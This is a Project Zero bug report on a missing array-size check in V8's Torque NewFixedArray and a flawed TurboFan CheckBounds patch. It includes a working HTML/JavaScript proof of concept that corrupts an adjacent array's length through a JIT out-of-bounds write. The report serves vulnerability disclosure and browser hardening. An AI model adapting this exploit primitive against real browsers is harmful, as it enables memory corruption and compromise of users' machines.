Chrome: Missing array size check in NewFixedArray VULNERABILITY DETAILS V8 caps the number of elements a fixed array can contain[1]. Most of the code that needs to create or resize a fast JS array (i.e. one that's backed by a fixed array rather than a dictionary) ends up calling either the regular C++ function `AllocateRawFixedArray`[2] or its CSA equivalent `AllocateFixedArray`[3]. Both functions validate the length parameter and terminate the execution when the upper limit is exceeded. Recently, the same operation has been implemented in Torque. The newly introduced functions `NewFixedArray` and `NewFixedDoubleArray`, however, lack a similar length check: ``` macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray { if (length == 0) return kEmptyFixedArray; return new FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it}; } macro NewFixedDoubleArray<Iterator: type>( length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray { if (length == 0) return kEmptyFixedArray; return new FixedDoubleArray{ map: kFixedDoubleArrayMap, length: Convert<Smi>(length), floats: ...it }; } ``` I've discovered two (indirect) users of `NewFixedArray` that can be abused to create an array with an invalid length. The first one is `ArrayPrototypeSplice`[5]. An attacker can call `splice` to add extra elements to a fast JS array that's just below the size limit. However, naively appending elements in a loop in order to obtain such an *enormous but still valid* array would fail and trigger an out-of-memory crash. A possible (and really quick) alternative is to merge a smaller array with itself several times: ``` array = Array(0x80000).fill(1); array.prop = 1; args = Array(0x100 - 1).fill(array); args.push(Array(0x80000 - 4).fill(2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3, 3, 3, 3); ``` Another function that transitively calls `NewFixedArray` is `RegExpPrototypeMatch`[6]. In this case, no preliminary array manipulation is required, although it's significantly slower: ``` giant_array = /a/g[Symbol.match]('a'.repeat(0x8000000)); ``` The attacker can exploit this issue to confuse TurboFan's typer about the possible range of the length property of a fast JS array and use the confusion to bypass security checks, similarly to, for example, https://crbug.com/1051017. Unfortunately, the bounds check elimination technique from previous exploits is still viable due to a bug in one the hardening patches[7] for the typer: ``` Reduction TypedOptimization::ReduceMaybeGrowFastElements(Node* node) { [...] if (!index_type.IsNone() && !length_type.IsNone() && index_type.Max() < length_type.Min()) { Node* check_bounds = graph()->NewNode( simplified()->CheckBounds(FeedbackSource{}, CheckBoundsFlag::kAbortOnOutOfBounds), index, length, effect, control); ReplaceWithValue(node, elements); return Replace(check_bounds); } return NoChange(); } ``` The patch adds a `CheckBounds` node to prevent OOB write access when the typer incorrectly assumes that a given array will never have to be extended. The problem is that the new node has no output edges: by the time `Replace` is called, the original node's effect edge has been already modified by `ReplaceWithValue`, and the value output from the `CheckBounds` node is never used. Therefore, the new node always gets eliminated in one of the subsequent optimization passes. There's also another `CheckBounds` node that verifies the array index is less than `length + 1024`, so the attacker has to employ the OOB access to overwrite data located relatively close to the array. A good candidate, which immediately presents a powerful exploitation primitive, is the length field of another fast array. --- [1] - https://cs.chromium.org/chromium/src/v8/src/objects/fixed-array.h?rcl=5db4a28ef75f893e85b7f505f5528cc39e9deef5&l=172 [2] - https://cs.chromium.org/chromium/src/v8/src/heap/factory-base.cc?rcl=5db4a28ef75f893e85b7f505f5528cc39e9deef5&l=732 [3] - https://cs.chromium.org/chromium/src/v8/src/codegen/code-stub-assembler.cc?rcl=5db4a28ef75f893e85b7f505f5528cc39e9deef5&l=3805 [4] - https://chromium.googlesource.com/v8/v8.git/+/bc0c25b4a0cd29d12bb5acb800b85dbb265580cb%5E%21/src/objects/fixed-array.tq [5] - https://cs.chromium.org/chromium/src/v8/src/builtins/array-splice.tq?rcl=2e7c4b6690947264ad147d23706e2a4cb2775b7e&l=358 [6] - https://cs.chromium.org/chromium/src/v8/src/builtins/regexp-match.tq?rcl=2e7c4b6690947264ad147d23706e2a4cb2775b7e&l=144 [7] - https://chromium.googlesource.com/v8/v8.git/+/c85aa83087e7146281a95369cadf943ef78bf321%5E%21/#F1 REPRODUCTION CASE ``` <script> array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); length_as_double = new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0]; function trigger(array) { var x = array.length; x -= 67108861; x = Math.max(x, 0); x *= 6; x -= 5; x = Math.max(x, 0); let corrupting_array = [0.1, 0.1]; let corrupted_array = [0.1]; corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array]; } for (let i = 0; i < 30000; ++i) { trigger(giant_array); } corrupted_array = trigger(giant_array)[1]; alert('corrupted array length: ' + corrupted_array.length.toString(16)); corrupted_array[0x123456]; </script> ``` VERSION Google Chrome 83.0.4103.61 (Official Build) Chromium 85.0.4158.0 (Developer Build) (64-bit) CREDIT INFORMATION Sergei Glazunov of Google Project Zero This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-08-25. Disclosure at an earlier date is possible if agreed upon by all parties. Found by: glazunov@google.com